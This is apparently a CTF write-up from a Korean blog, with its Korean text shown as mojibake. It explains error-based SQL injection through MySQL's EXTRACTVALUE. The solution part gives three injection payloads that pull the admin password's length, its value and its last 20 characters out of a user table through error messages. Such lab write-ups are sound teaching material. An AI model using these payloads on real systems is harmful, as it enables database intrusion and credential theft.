๋ฐ์ํ
Error Based SQL Injection
๊ณต๊ฒฉ์๊ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ฐ์ํ๋ ์๋ฌ ๋ฉ์์ง๋ฅผ ์ด์ฉํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ตฌ์กฐ๋ ๋ด๋ถ ์ ๋ณด๋ฅผ ํ๋ํ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ด๋ค. ๊ณต๊ฒฉ์๋ SQL ์ฟผ๋ฆฌ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์๋ฌ๋ฅผ ์ ๋ํ๊ณ , ๊ทธ ์๋ฌ๋ฅผ ๋ถ์ํ์ฌ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ค.
EXTRACTVALUE( {XML ํ์์ ๊ฐ}, {XPath ์กฐ๊ฑด์} )
ํน์ ํ XPath ์กฐ๊ฑด์์ ๊ธฐ๋ฐ์ผ๋ก XML ๋ฌธ์์์ ๊ฐ์ ์ถ์ถํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
- BOOK_XML
<STORE>
<BOOK>
<TITLE>์ด๋ฆฐ ์์</TITLE>
<AUTHOR>์ํฌ์ ๋ ์ํ์ฅํ๋ฆฌ</AUTHOR>
<PRICE>9,800</PRICE>
</BOOK>
</STORE>
- ์์ ์ฟผ๋ฆฌ
SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST;
- ์คํ ๊ฒฐ๊ณผ
์ด๋ฆฐ์์
ํ์ด ๋ฐฉ๋ฒ
flag ๊ธธ์ด ๊ตฌํ๊ธฐ
' or extractvalue(1, concat(0x3a, (select length(upw) from user where uid = 'admin'))) and '1' = '1
:44
- ์ถ๋ ฅํ๊ธฐ
' or extractvalue(1, concat(0x3a, (select upw from user where uid = 'admin'))) and '1' = '1
- ๋ท ๋ถ๋ถ ์ถ๋ ฅํ๊ธฐ
' or extractvalue(1, concat(0x3a, (select right(upw, 20) from user where uid = 'admin'))) and '1' = '1
์ฐธ๊ณ
๋ฐ์ํ
'๐ดโโ ๏ธ CTF ๐ดโโ ๏ธ > โ๏ธ ์น โ๏ธ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dream Hack - Web] sql injection bypass WAF (0) | 2024.08.14 |
---|---|
[Dream Hack - Web] csrf-2 (0) | 2024.08.07 |
[Dream Hack - Web] csrf-1 (0) | 2024.08.07 |
[Dream Hack - Web] xss-2 (0) | 2024.08.02 |
[Dream Hack - Web] xss-1 (0) | 2024.08.02 |